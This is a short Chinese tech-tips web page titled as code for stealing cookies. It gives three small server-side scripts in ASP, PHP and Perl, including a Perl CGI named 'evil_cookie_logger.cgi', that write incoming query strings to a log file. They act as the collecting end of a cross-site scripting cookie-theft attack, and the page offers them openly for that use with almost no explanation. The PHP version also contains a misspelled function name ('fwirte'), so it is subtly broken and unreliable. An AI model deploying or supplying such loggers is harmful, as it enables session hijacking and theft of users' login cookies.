首页 电脑 电脑学堂 查看内容

盗取cookies的代码(asp,php,perl)

2009-7-19 11:24 657 0

摘要:   ASP版  <%  dim strfilename  strfilename = "mydata.txt" '数据文件存放目录  set lP=server.createObject("Ad...
关键词: cookie evil borrowed print LOG info Content coded type PERL

  ASP版  <%  dim strfilename  strfilename = "mydata.txt" '数据文件存放目录  set lP=server.createObject("Adodb.Stream")  lP.Open  lP.Type=2  lP.CharSet="gb2312"  lP.writetext request.Servervariables("QUERY_STRING")  lP.SaveToFile server.mappath(strfilename),2  lP.Close  set lP=nothing  %>   PHP版  <?php  $info = getenv("QUERY_STRING");  if ($info) {  $info=urldecode($info);  $fp = fopen("info.txt","a");  fwirte($fp,$info."\n\n\n\n");  fclose($fp);  }  ?>   PERL版  #!/usr/bin/perl  # evil_cookie_logger.cgi  # remote cookie logging CGI coded by BrainRawt  #  # NOTE: coded as a proof of concept script when testing for  # cross-site scripting vulnerabilities.  $borrowed_info = $ENV{'QUERY_STRING'};  $borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;  open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:  text/html\n\n something went wrong\n";  print EVIL_COOKIE_LOG "$borrowed_info\n";  print "Content-type: text/html\n\n";  close(EVIL_COOKIE_LOG);
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部